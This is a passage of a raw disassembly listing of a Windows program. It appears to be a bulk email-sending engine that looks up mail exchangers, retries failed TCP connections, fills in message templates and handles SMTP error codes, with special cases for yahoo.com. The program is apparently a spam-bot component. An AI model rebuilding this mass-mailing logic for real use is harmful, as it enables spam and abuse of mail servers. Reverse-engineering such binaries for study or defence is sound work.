sub_4021DE	proc near		; CODE XREF: sub_4058DF+21p
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esi+4]
		mov	dword ptr [esi], offset	off_418220
		call	sub_401202
		lea	ecx, [esi+8]
		call	sub_40DB48
		lea	ecx, [esi+0Ch]
		call	sub_40DB48
		lea	ecx, [esi+14h]
		call	sub_4021BF
		lea	ecx, [esi+38h]
		call	sub_408D8E
		lea	ecx, [esi+54h]
		call	sub_401C2F
		lea	ecx, [esi+205Ch]
		call	sub_401CDC
		lea	ecx, [esi+5064h]
		call	sub_408D8E
		xor	edi, edi
		mov	[esi+5080h], edi
		call	ds:dword_4180CC
		mov	[esi+5084h], eax
		lea	eax, [esi+5088h]
		mov	[eax], edi
		mov	[eax+4], edi
		push	1
		lea	ecx, [esi+50A0h]
		mov	[esi+509Ch], edi
		mov	[esi+5098h], edi
		mov	[esi+5094h], edi
		call	sub_4012FC
		lea	eax, [esi+50ACh]
		push	eax
		call	ds:dword_4180D4
		mov	[esi+5094h], edi
		mov	dword ptr [esi+509Ch], offset sub_402103
		mov	[esi+5098h], esi
		mov	[esi+50A4h], edi
		mov	[esi+50A8h], edi
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_4021DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4022A0	proc near		; CODE XREF: sub_4022BE+97p
					; sub_403ED0+17Ep ...
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_4022BB
		mov	ecx, edi
		call	sub_401F85
		push	edi
		call	sub_40D0B6
		and	dword ptr [esi], 0
		pop	ecx


loc_4022BB:				; CODE XREF: sub_4022A0+8j
		pop	edi
		pop	esi
		retn
sub_4022A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022BE	proc near		; CODE XREF: sub_404BED+67p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_4]
		push	offset asc_418210 ; "\n"
		call	sub_40DD00
		mov	edi, eax
		mov	ecx, [edi+4]
		xor	eax, eax
		test	ecx, ecx
		mov	[ebp+var_C], edi
		mov	[ebp+arg_4], eax
		mov	[ebp+var_8], ecx
		jbe	short loc_402352
		push	ebx
		push	esi


loc_4022EB:				; CODE XREF: sub_4022BE+90j
		mov	ebx, eax
		mov	eax, [edi]
		shl	ebx, 2
		add	eax, ebx
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_402344
		push	eax
		call	sub_40CD83
		test	eax, eax
		pop	ecx
		jbe	short loc_402344
		push	14h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_40231C
		mov	ecx, eax
		call	sub_401AF9
		mov	esi, eax
		jmp	short loc_40231E
; ---------------------------------------------------------------------------


loc_40231C:				; CODE XREF: sub_4022BE+51j
		xor	esi, esi


loc_40231E:				; CODE XREF: sub_4022BE+5Cj
		mov	eax, [ebp+arg_0]
		mov	[esi], eax
		mov	eax, [edi]
		add	eax, ebx
		push	eax
		lea	ecx, [esi+4]
		call	sub_40DC39
		mov	ecx, [ebp+var_4]
		and	dword ptr [esi+0Ch], 0
		and	dword ptr [esi+10h], 0
		push	esi
		add	ecx, 54h
		call	sub_401C53


loc_402344:				; CODE XREF: sub_4022BE+3Aj
					; sub_4022BE+45j
		mov	eax, [ebp+arg_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+arg_4], eax
		jb	short loc_4022EB
		pop	esi
		pop	ebx


loc_402352:				; CODE XREF: sub_4022BE+29j
		lea	ecx, [ebp+var_C]
		call	sub_4022A0
		pop	edi
		leave
		retn	8
sub_4022BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40235F	proc near		; CODE XREF: sub_402400+25p
					; sub_405440+1F3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, ecx
		push	edi
		lea	eax, [ebp+var_8]
		lea	ecx, [ebx+5064h]
		push	eax
		mov	[ebp+var_4], ebx
		call	sub_408761
		mov	edi, [ebp+var_8]
		test	edi, edi
		jz	short loc_4023E1
		push	esi


loc_402382:				; CODE XREF: sub_40235F+7Fj
		test	edi, edi
		jz	short loc_40238B
		mov	esi, [edi+4]
		jmp	short loc_40238D
; ---------------------------------------------------------------------------


loc_40238B:				; CODE XREF: sub_40235F+25j
		xor	esi, esi


loc_40238D:				; CODE XREF: sub_40235F+2Aj
		mov	eax, [esi+4]
		test	eax, eax
		jbe	short loc_4023BD
		xor	ebx, ebx
		test	eax, eax
		jbe	short loc_4023BA


loc_40239A:				; CODE XREF: sub_40235F+59j
		mov	eax, [esi]
		mov	ecx, [eax+ebx*4]
		test	ecx, ecx
		mov	[ebp+var_8], ecx
		jz	short loc_4023B4
		call	sub_401AE5
		push	[ebp+var_8]
		call	sub_40D0B6
		pop	ecx


loc_4023B4:				; CODE XREF: sub_40235F+45j
		inc	ebx
		cmp	ebx, [esi+4]
		jb	short loc_40239A


loc_4023BA:				; CODE XREF: sub_40235F+39j
		mov	ebx, [ebp+var_4]


loc_4023BD:				; CODE XREF: sub_40235F+33j
		mov	ecx, esi
		call	sub_401F70
		push	esi
		call	sub_40D0B6
		mov	esi, [edi+8]
		pop	ecx
		push	edi
		lea	ecx, [ebx+5064h]
		call	sub_401DB5
		test	esi, esi
		mov	edi, esi
		jnz	short loc_402382
		pop	esi


loc_4023E1:				; CODE XREF: sub_40235F+20j
		push	0
		lea	eax, [ebx+5080h]
		push	eax
		call	ds:dword_4180EC
		call	ds:dword_4180CC
		pop	edi
		mov	[ebx+5084h], eax
		pop	ebx
		leave
		retn
sub_40235F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402400	proc near		; CODE XREF: sub_404FDE+7Cp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	dword ptr [esi], offset	off_418220
		call	sub_401E21
		mov	edi, ds:dword_4180DC
		lea	ebx, [esi+5068h]
		push	ebx
		call	edi
		mov	ecx, esi
		call	sub_40235F
		push	ebx
		mov	ebx, ds:dword_4180E0
		call	ebx
		lea	eax, [esi+3Ch]
		push	eax
		call	edi
		lea	eax, [ebp+var_4]
		lea	ecx, [esi+38h]
		push	eax
		call	sub_408761
		jmp	short loc_402470
; ---------------------------------------------------------------------------


loc_402447:				; CODE XREF: sub_402400+75j
		mov	eax, [edi+4]
		mov	ecx, eax
		test	ecx, ecx
		mov	[ebp+var_4], eax
		jz	short loc_402461
		call	sub_401DFE
		push	[ebp+var_4]
		call	sub_40D0B6
		pop	ecx


loc_402461:				; CODE XREF: sub_402400+51j
		mov	eax, [edi+8]
		push	edi
		lea	ecx, [esi+38h]
		mov	[ebp+var_4], eax
		call	sub_401DB5


loc_402470:				; CODE XREF: sub_402400+45j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jnz	short loc_402447
		lea	eax, [esi+3Ch]
		push	eax
		call	ebx
		lea	edi, [esi+54h]
		jmp	short loc_402490
; ---------------------------------------------------------------------------


loc_402482:				; CODE XREF: sub_402400+9Bj
		mov	ecx, ebx
		call	sub_401AE5
		push	ebx
		call	sub_40D0B6
		pop	ecx


loc_402490:				; CODE XREF: sub_402400+80j
		mov	ecx, edi
		call	sub_401CA6
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_402482
		lea	ebx, [esi+205Ch]
		jmp	short loc_4024B3
; ---------------------------------------------------------------------------


loc_4024A5:				; CODE XREF: sub_402400+BEj
		mov	ecx, edi
		call	sub_401AE5
		push	edi
		call	sub_40D0B6
		pop	ecx


loc_4024B3:				; CODE XREF: sub_402400+A3j
		mov	ecx, ebx
		call	sub_401D5D
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4024A5
		mov	edi, ds:dword_4180D8
		lea	eax, [esi+50ACh]
		push	eax
		call	edi
		push	dword ptr [esi+50A0h]
		call	ds:dword_4180A4
		lea	ecx, [esi+5088h]
		call	sub_401F70
		lea	eax, [esi+5068h]
		push	eax
		call	edi
		lea	eax, [esi+3Ch]
		push	eax
		call	edi
		lea	ecx, [esi+14h]
		call	sub_40951B
		lea	ecx, [esi+0Ch]
		call	sub_40DB59
		lea	ecx, [esi+8]
		call	sub_40DB59
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402400	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402512	proc near		; CODE XREF: sub_402624+2D7p
					; sub_402624+33Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	0Ch
		mov	ebx, ecx
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_402531
		mov	ecx, eax
		call	sub_401AF9
		mov	esi, eax
		jmp	short loc_402533
; ---------------------------------------------------------------------------


loc_402531:				; CODE XREF: sub_402512+12j
		xor	esi, esi


loc_402533:				; CODE XREF: sub_402512+1Dj
		mov	eax, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	[esi], eax
		cmp	byte ptr [ebx+10h], 0
		jz	short loc_40254E
		test	eax, eax
		jnz	short loc_402570
		push	eax
		push	dword ptr [edi+4]
		lea	ecx, [esi+4]
		jmp	short loc_40256B
; ---------------------------------------------------------------------------


loc_40254E:				; CODE XREF: sub_402512+2Dj
		push	0
		push	dword ptr [edi+4]
		lea	ecx, [esi+4]
		call	sub_40DB5E
		cmp	[ebp+arg_4], 0
		jz	short loc_402570
		mov	eax, [ebp+arg_8]
		push	0
		push	dword ptr [eax]
		lea	ecx, [esi+8]


loc_40256B:				; CODE XREF: sub_402512+3Aj
		call	sub_40DB5E


loc_402570:				; CODE XREF: sub_402512+31j
					; sub_402512+4Dj
		lea	eax, [ebx+5068h]
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_4180DC
		push	dword ptr [edi]
		lea	ecx, [ebx+5064h]
		call	sub_401F3E
		test	eax, eax
		mov	[ebp+arg_4], eax
		jnz	short loc_4025BF
		push	8
		call	sub_40D0BB
		pop	ecx
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_4025AC
		mov	[eax], ecx
		mov	[eax+4], ecx
		mov	[ebp+arg_4], eax
		jmp	short loc_4025AF
; ---------------------------------------------------------------------------


loc_4025AC:				; CODE XREF: sub_402512+8Ej
		mov	[ebp+arg_4], ecx


loc_4025AF:				; CODE XREF: sub_402512+98j
		push	[ebp+arg_4]
		lea	ecx, [ebx+5064h]
		push	dword ptr [edi]
		call	sub_408F07


loc_4025BF:				; CODE XREF: sub_402512+80j
		mov	ecx, [ebp+arg_4]
		call	sub_409570
		mov	[eax], esi
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_4025D5
		and	[ebp+arg_4], eax
		jmp	short loc_4025DF
; ---------------------------------------------------------------------------


loc_4025D5:				; CODE XREF: sub_402512+BCj
		push	eax
		call	sub_40CD83
		pop	ecx
		mov	[ebp+arg_4], eax


loc_4025DF:				; CODE XREF: sub_402512+C1j
		mov	esi, [esi+8]
		test	esi, esi
		jnz	short loc_4025EA
		xor	eax, eax
		jmp	short loc_4025F1
; ---------------------------------------------------------------------------


loc_4025EA:				; CODE XREF: sub_402512+D2j
		push	esi
		call	sub_40CD83
		pop	ecx


loc_4025F1:				; CODE XREF: sub_402512+D6j
		mov	ecx, [ebp+arg_4]
		lea	eax, [eax+ecx+4]
		push	eax
		add	ebx, 5080h
		push	ebx
		call	ds:dword_4180F0
		push	[ebp+arg_0]
		call	ds:dword_4180E0
		mov	ecx, edi
		call	sub_401AE5
		push	edi
		call	sub_40D0B6
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_402512	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402624	proc near		; CODE XREF: .text:00402AAEp

var_11C4	= byte ptr -11C4h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11C4h
		call	sub_4011B0
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	ecx, [ebp+var_10]
		call	sub_40DB48
		lea	ecx, [ebp+var_1C]
		call	sub_40DB48
		lea	ecx, [ebp+var_20]
		call	sub_40DB48
		lea	ecx, [ebp+var_8]
		call	sub_40DB48
		lea	ecx, [ebp+var_14]
		call	sub_40DB48
		push	1194h
		lea	eax, [ebp+var_11C4]
		push	0
		push	eax
		call	sub_40CCD9
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		push	dword ptr [ebx]
		lea	ecx, [edi+38h]
		call	sub_401F3E
		mov	esi, eax
		test	esi, esi
		mov	[ebp+var_24], esi
		jnz	short loc_40269D
		mov	ecx, ebx
		call	sub_401AE5
		push	ebx
		call	sub_40D0B6
		pop	ecx
		jmp	loc_402918
; ---------------------------------------------------------------------------


loc_40269D:				; CODE XREF: sub_402624+64j
		push	0
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_10]
		call	sub_40DB5E
		push	offset asc_418268 ; ";"
		lea	ecx, [ebx+4]
		call	sub_40DD00
		and	[ebp+var_C], 0
		mov	ebx, eax
		mov	eax, [ebx+4]
		test	eax, eax
		mov	[ebp+var_18], eax
		jbe	short loc_4026FD
		lea	eax, [ebp+var_11C4]
		mov	[ebp+var_4], eax
		mov	esi, 12Ch


loc_4026D5:				; CODE XREF: sub_402624+D4j
		mov	eax, [ebp+var_C]
		cmp	eax, 0Fh
		jge	short loc_4026FA
		mov	ecx, [ebx]
		push	esi
		push	dword ptr [ecx+eax*4]
		push	[ebp+var_4]
		call	ds:dword_4180F4
		inc	[ebp+var_C]
		mov	eax, [ebp+var_C]
		add	[ebp+var_4], esi
		cmp	eax, [ebp+var_18]
		jb	short loc_4026D5


loc_4026FA:				; CODE XREF: sub_402624+B7j
		mov	esi, [ebp+var_24]


loc_4026FD:				; CODE XREF: sub_402624+A1j
		mov	ecx, ebx
		call	sub_401F85
		push	ebx
		call	sub_40D0B6
		mov	esi, [esi+8]
		test	esi, esi
		pop	ecx
		jz	loc_4027C8
		mov	ecx, esi
		call	sub_402E80
		mov	esi, eax
		push	0
		mov	[ebp+var_18], esi
		call	sub_40CFAE
		push	eax
		call	sub_40CF2A
		mov	eax, [esi+20h]
		mov	ebx, [esi+24h]
		pop	ecx
		pop	ecx
		mov	[ebp+var_24], eax
		call	sub_40CF34
		push	14h
		cdq
		pop	ecx
		idiv	ecx
		add	edx, ebx
		push	edx
		call	sub_40CF34
		push	14h
		pop	ecx
		cdq
		idiv	ecx
		mov	ecx, esi
		add	edx, [ebp+var_24]
		push	edx
		call	sub_402EBB
		mov	ecx, esi
		call	sub_402DEC
		test	al, al
		jz	short loc_4027C0
		mov	ebx, [esi+1Ch]
		mov	esi, [esi+4]
		push	0
		push	ebx
		call	sub_40C2F0
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_C]
		mov	[ebp+var_4], eax
		call	sub_40DB48
		push	[ebp+var_4]
		lea	ecx, [ebp+var_C]
		call	sub_40DADA
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_C]
		push	ebx
		push	esi
		call	sub_40C344
		add	esp, 14h
		push	offset asc_418214 ; "^%"
		push	offset aT	; "%^T"
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_40DC4B
		lea	ecx, [ebp+var_C]
		call	sub_40DB59


loc_4027C0:				; CODE XREF: sub_402624+143j
		lea	ecx, [ebp+var_18]
		call	sub_401D97


loc_4027C8:				; CODE XREF: sub_402624+ECj
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+8]
		test	eax, eax
		mov	esi, offset aFrom ; "From: "
		jz	short loc_4027F1
		push	eax
		call	sub_40CD83
		test	eax, eax
		pop	ecx
		jbe	short loc_4027F1
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		mov	ecx, edi
		call	sub_401B9A


loc_4027F1:				; CODE XREF: sub_402624+1B1j
					; sub_402624+1BCj
		lea	eax, [edi+14h]
		push	eax
		push	dword ptr [edi+8]
		lea	ecx, [ebp+var_30]
		push	dword ptr [edi+0Ch]
		call	sub_4070A6
		lea	eax, [ebp+var_11C4]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	ecx, [ebp+var_30]
		call	sub_407F86
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, edi
		call	sub_401B3F
		test	al, al
		jz	short loc_402875
		xor	esi, esi
		cmp	[ebp+var_8], esi
		jnz	short loc_402835
		xor	eax, eax
		jmp	short loc_40283E
; ---------------------------------------------------------------------------


loc_402835:				; CODE XREF: sub_402624+20Bj
		push	[ebp+var_8]
		call	sub_40CD83
		pop	ecx


loc_40283E:				; CODE XREF: sub_402624+20Fj
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [eax+ecx-1], 40h
		jnz	short loc_402853
		push	dword ptr [edi+8]
		lea	ecx, [ebp+var_8]
		call	sub_401AA0


loc_402853:				; CODE XREF: sub_402624+222j
		push	esi
		lea	eax, [ebp+var_11C4]
		push	eax
		lea	ecx, [ebp+var_14]
		call	sub_40DB5E
		push	esi
		push	offset a@	; "@"
		lea	ecx, [ebp+var_14]
		call	sub_40DB2F
		cmp	eax, esi
		jnz	short loc_402888


loc_402875:				; CODE XREF: sub_402624+204j
		mov	ecx, ebx
		call	sub_401AE5
		push	ebx
		call	sub_40D0B6
		pop	ecx
		jmp	loc_402908
; ---------------------------------------------------------------------------


loc_402888:				; CODE XREF: sub_402624+24Fj
		push	esi
		inc	eax
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_40DB5E
		xor	ebx, ebx


loc_402895:				; CODE XREF: sub_402624+2BDj
		lea	eax, [ebp+var_20]
		push	eax
		test	ebx, ebx
		setnz	al
		push	eax
		push	[ebp+var_1C]
		call	sub_40C574
		add	esp, 0Ch
		test	al, al
		jz	loc_402947
		push	[ebp+var_20]
		call	sub_40C627
		pop	ecx
		push	1Eh
		push	19h
		push	eax
		lea	ecx, [edi+4]
		call	sub_4012B3
		mov	esi, eax
		test	esi, esi
		mov	[ebp+var_4], esi
		jnz	loc_402969
		lea	ecx, [ebp+var_4]
		call	sub_4021A1
		inc	ebx
		cmp	ebx, 3
		jl	short loc_402895
		push	offset aTcpConnectionI ; "TCP connection is failed"
		lea	ecx, [ebp+var_18]
		call	sub_40DCEB
		lea	eax, [ebp+var_18]
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		mov	ecx, edi
		call	sub_402512
		lea	ecx, [ebp+var_18]


loc_402903:				; CODE XREF: sub_402624+343j
		call	sub_40DB59


loc_402908:				; CODE XREF: sub_402624+25Fj
					; sub_402624+411j
		lea	ecx, [ebp+var_2C]
		call	sub_40DB59
		lea	ecx, [ebp+var_30]
		call	sub_40DB59


loc_402918:				; CODE XREF: sub_402624+74j
		lea	ecx, [ebp+var_14]
		call	sub_40DB59
		lea	ecx, [ebp+var_8]
		call	sub_40DB59
		lea	ecx, [ebp+var_20]
		call	sub_40DB59
		lea	ecx, [ebp+var_1C]
		call	sub_40DB59
		lea	ecx, [ebp+var_10]
		call	sub_40DB59
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_402947:				; CODE XREF: sub_402624+288j
		push	offset aCanTGetMx ; "Can't get mx"
		lea	ecx, [ebp+var_4]
		call	sub_40DCEB
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFFFFEh
		push	[ebp+arg_0]
		mov	ecx, edi
		call	sub_402512
		lea	ecx, [ebp+var_4]
		jmp	short loc_402903
; ---------------------------------------------------------------------------


loc_402969:				; CODE XREF: sub_402624+2ABj
		push	[ebp+var_10]
		mov	ecx, esi
		push	[ebp+var_14]
		push	[ebp+var_8]
		push	dword ptr [edi+8]
		call	sub_40D5DD
		test	al, al
		mov	ecx, [esi+0Ch]
		mov	ebx, [esi+8]
		mov	[ebp+var_C], ecx
		jnz	loc_402A5C
		lea	eax, [edi+50ACh]
		push	eax
		call	ds:dword_4180DC
		cmp	ebx, [edi+50A4h]
		jnz	short loc_4029CE
		lea	eax, [edi+50A8h]
		inc	dword ptr [eax]
		cmp	dword ptr [eax], 1Eh
		jbe	short loc_4029E5
		push	1
		push	1B7740h
		push	dword ptr [edi+50A0h]
		call	ds:dword_4180B0
		test	eax, eax
		jz	short loc_4029E5
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax]
		jmp	short loc_4029E5
; ---------------------------------------------------------------------------


loc_4029CE:				; CODE XREF: sub_402624+37Cj
		cmp	ebx, 0FFFFFFFEh
		mov	eax, ebx
		jnz	short loc_4029D8
		or	eax, 0FFFFFFFFh


loc_4029D8:				; CODE XREF: sub_402624+3AFj
		and	dword ptr [edi+50A8h], 0
		mov	[edi+50A4h], eax


loc_4029E5:				; CODE XREF: sub_402624+389j
					; sub_402624+3A0j ...
		lea	eax, [edi+50ACh]
		push	eax
		call	ds:dword_4180E0
		lea	eax, [ebx-190h]
		cmp	eax, 63h
		ja	short loc_402A3A
		mov	ebx, [ebp+arg_0]
		add	ebx, 8
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_402A14
		push	eax
		call	sub_40CD83
		test	eax, eax
		pop	ecx
		jnz	short loc_402A1F


loc_402A14:				; CODE XREF: sub_402624+3E3j
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, ebx
		call	sub_40DC39


loc_402A1F:				; CODE XREF: sub_402624+3EEj
		push	[ebp+arg_0]
		mov	ecx, edi
		call	sub_401E66
		test	al, al
		jz	short loc_402A5C


loc_402A2D:				; CODE XREF: sub_402624+45Cj
		lea	ecx, [ebp+var_4]
		call	sub_4021A1
		jmp	loc_402908
; ---------------------------------------------------------------------------


loc_402A3A:				; CODE XREF: sub_402624+3D7j
		cmp	ebx, 22Ah
		jnz	short loc_402A5C
		push	offset aYahoo_com ; "yahoo.com"
		push	[ebp+var_1C]
		call	sub_40CD44
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402A5C
		mov	[ebp+var_C], 4


loc_402A5C:				; CODE XREF: sub_402624+363j
					; sub_402624+407j ...
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_18]
		call	sub_40DCEB
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		mov	ecx, edi
		push	[ebp+arg_0]
		call	sub_402512
		lea	ecx, [ebp+var_18]
		call	sub_40DB59
		jmp	short loc_402A2D
sub_402624	endp

; ---------------------------------------------------------------------------


loc_402A82:				; DATA XREF: sub_402AD3+2Ao
		push	esi
		push	edi
		mov	edi, ds:dword_4180B0
		push	1
		mov	esi, ecx
		push	1
		push	dword ptr [esi+50A0h]
		call	edi
		test	eax, eax
		jz	short loc_402ACE
		push	ebx
		lea	ebx, [esi+54h]


loc_402AA0:				; CODE XREF: .text:00402ACBj
		mov	ecx, ebx
		call	sub_401CA6
		test	eax, eax
		jz	short loc_402AB5
		push	eax
		mov	ecx, esi
		call	sub_402624
		jmp	short loc_402ABD
; ---------------------------------------------------------------------------


loc_402AB5:				; CODE XREF: .text:00402AA9j
		push	64h
		call	ds:dword_4180C8


loc_402ABD:				; CODE XREF: .text:00402AB3j
		push	1
		push	1
		push	dword ptr [esi+50A0h]
		call	edi
		test	eax, eax
		jnz	short loc_402AA0
		pop	ebx


loc_402ACE:				; CODE XREF: .text:00402A9Aj
		pop	edi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_402AD3	proc near		; CODE XREF: sub_405675+164p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		push	[esp+8+arg_0]
		lea	edi, [esi+5088h]
		mov	ecx, edi
		call	sub_402172
		xor	ecx, ecx
		cmp	[esi+508Ch], ecx
		jbe	short loc_402B12
		xor	edx, edx


loc_402AF4:				; CODE XREF: sub_402AD3+3Dj
		mov	eax, [edi]
		add	eax, edx
		and	dword ptr [eax+4], 0
		inc	ecx
		mov	dword ptr [eax+0Ch], offset loc_402A82
		mov	[eax+8], esi
		add	edx, 10h
		cmp	ecx, [esi+508Ch]
		jb	short loc_402AF4


loc_402B12:				; CODE XREF: sub_402AD3+1Dj
		pop	edi
		pop	esi
		retn	4
sub_402AD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B17	proc near		; CODE XREF: sub_402C5A+22p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	dword ptr [eax+8]
		mov	esi, ecx
		push	dword ptr [eax]
		call	sub_41430E
		pop	ecx
		pop	ecx
		mov	[esi+0Ch], eax
		pop	esi
		retn	4
sub_402B17	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B31	proc near		; DATA XREF: sub_402C86+20o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [eax+34h]
		cmp	dword ptr [esi+18h], 0
		jbe	short loc_402B5D
		push	edi
		mov	edi, [esp+8+arg_8]
		push	edi
		push	dword ptr [esi]
		push	[esp+10h+arg_4]
		call	sub_40CCF7
		add	[esi], edi
		add	esp, 0Ch
		sub	[esi+18h], edi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402B5D:				; CODE XREF: sub_402B31+Cj
		xor	eax, eax
		pop	esi
		retn
sub_402B31	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B61	proc near		; DATA XREF: sub_402DEC+13o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [eax+34h]
		mov	eax, [esi+4]
		test	eax, eax
		push	edi
		mov	edi, [esp+8+arg_8]
		jz	short loc_402B83
		mov	ecx, [esi+1Ch]
		add	ecx, edi
		push	ecx
		push	eax
		call	sub_40CA55
		jmp	short loc_402B8B
; ---------------------------------------------------------------------------


loc_402B83:				; CODE XREF: sub_402B61+12j
		push	1
		push	edi
		call	sub_40CA2C


loc_402B8B:				; CODE XREF: sub_402B61+20j
		pop	ecx
		pop	ecx
		mov	[esi+4], eax
		mov	eax, [esi+1Ch]
		add	eax, [esi+4]
		push	edi
		push	[esp+0Ch+arg_4]
		push	eax
		call	sub_40CCF7
		add	[esi+1Ch], edi
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_402B61	endp


; =============== S U B	R O U T	I N E =======================================



sub_402BAC	proc near		; CODE XREF: sub_401FF5+A5p
					; sub_402E80+12p
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		lea	ecx, [esi+8]
		mov	[ecx], edi
		push	edi
		mov	[esi+20h], edi
		mov	[esi+24h], edi
		mov	[esi+28h], edi
		call	sub_408034
		mov	[esi+18h], edi
		mov	[esi+0Ch], edi
		mov	[esi+10h], edi
		mov	[esi+14h], edi
		mov	[esi+4], edi
		mov	[esi+1Ch], edi
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_402BAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_402BDD	proc near		; CODE XREF: sub_401D97+Cp
					; sub_401DFE+Dp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_402BEE
		push	eax
		call	sub_414373
		pop	ecx


loc_402BEE:				; CODE XREF: sub_402BDD+8j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_402BFC
		push	eax
		call	sub_40CCC5
		pop	ecx


loc_402BFC:				; CODE XREF: sub_402BDD+16j
		lea	ecx, [esi+8]
		pop	esi
		jmp	sub_4093F0
sub_402BDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_402C05	proc near		; CODE XREF: sub_402C38+Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_40D0BB
		pop	ecx
		lea	edi, [esi+8]
		push	eax
		mov	ecx, edi
		call	sub_408034
		push	ebx
		push	[esp+10h+arg_0]
		push	dword ptr [edi]
		call	sub_40CCF7
		add	esp, 0Ch
		pop	edi
		mov	[esi+28h], ebx
		pop	esi
		pop	ebx
		retn	8
sub_402C05	endp


; =============== S U B	R O U T	I N E =======================================



sub_402C38	proc near		; CODE XREF: sub_402C5A+12p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		call	sub_402C05
		mov	eax, [esp+4+arg_8]
		mov	[esi+20h], eax
		mov	eax, [esp+4+arg_C]
		mov	[esi+24h], eax
		pop	esi
		retn	10h
sub_402C38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C5A	proc near		; CODE XREF: sub_402E80+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
